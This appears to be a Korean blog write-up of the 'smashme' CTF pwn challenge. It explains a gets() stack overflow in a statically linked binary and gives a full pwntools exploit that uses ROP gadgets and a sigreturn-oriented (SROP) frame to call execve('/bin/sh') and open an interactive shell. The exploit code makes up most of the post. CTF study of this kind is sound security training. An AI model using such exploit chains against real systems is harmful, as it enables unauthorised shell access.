보호기법은 aslr외엔 없다.
헥스레이해보면 gets로 bof가 터지는 것을 알 수 있다.
그리고 gets한 변수의 첫 부분에 "Smash me outside, how bout dAAAAAAAAAAA" 문자열이 들어가야 한다.
우선 haystack변수의 위치는 rbp-0x40이므로 rbp+0x8까지 72바이트의 차이가 나므로 72바이트 후 오버플로우 하면 ret를 조작할 수 있다.
근데 이 바이너리는 정적 컴파일이 되어 있고 system, execve함수와 같이 쉘을 실행시킬 수 있는 함수가 없다.
따라서 syscall을 해서 문제를 풀었다.
srop 페이로드는 잘 정리된 문서에 pwntool을 이용하여 간단하게 작성하는 법이 적혀있어서 참고했다.
문서from pwn import *
r = process("./smashme")
elf = ELF("./smashme")
read = elf.symbols['read']
write = elf.symbols['write']
bss = elf.bss()
pop_rax = 0x4c3b28
pop_rdi = 0x4014d6
pop_rsi = 0x4015f7
pop_rdx = 0x441e46
pop_rcx = 0x490db3
cmd = "/bin/sh\x00"
syscall = 0x466815
log.info("bss = {}".format(hex(bss)))
payload = "Smash me outside, how bout dAAAAAAAAAAA"
payload += "A"*33
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(4)
payload += p64(write)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(len(cmd))
payload += p64(read)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(len(cmd))
payload += p64(write)
payload += p64(pop_rax)
payload += p64(0xf)
payload += p64(syscall)
frame = SigreturnFrame(arch="amd64")
frame.rax = 0x3b
frame.rdi = bss
frame.rsp = syscall
frame.rip = syscall
payload += str(frame)
print r.recv()
r.sendline(payload)
print r.recv()
r.sendline(cmd)
print r.recv()
r.interactive()
Ref.https://www.lazenca.net/display/TEC/02.SROP%28Sigreturn-oriented+programming%29+-+x64
'CTF' 카테고리의 다른 글
| BCTF 2016 bcloud (0) | 2018.08.24 |
|---|---|
| Defcon 2014 Babyfirst heap (0) | 2018.08.16 |
| Plaid 2014 ezhp (0) | 2018.08.12 |
| CodeGate2017 messenger (0) | 2018.08.07 |
| RCTF 2015 welpwn (0) | 2018.08.01 |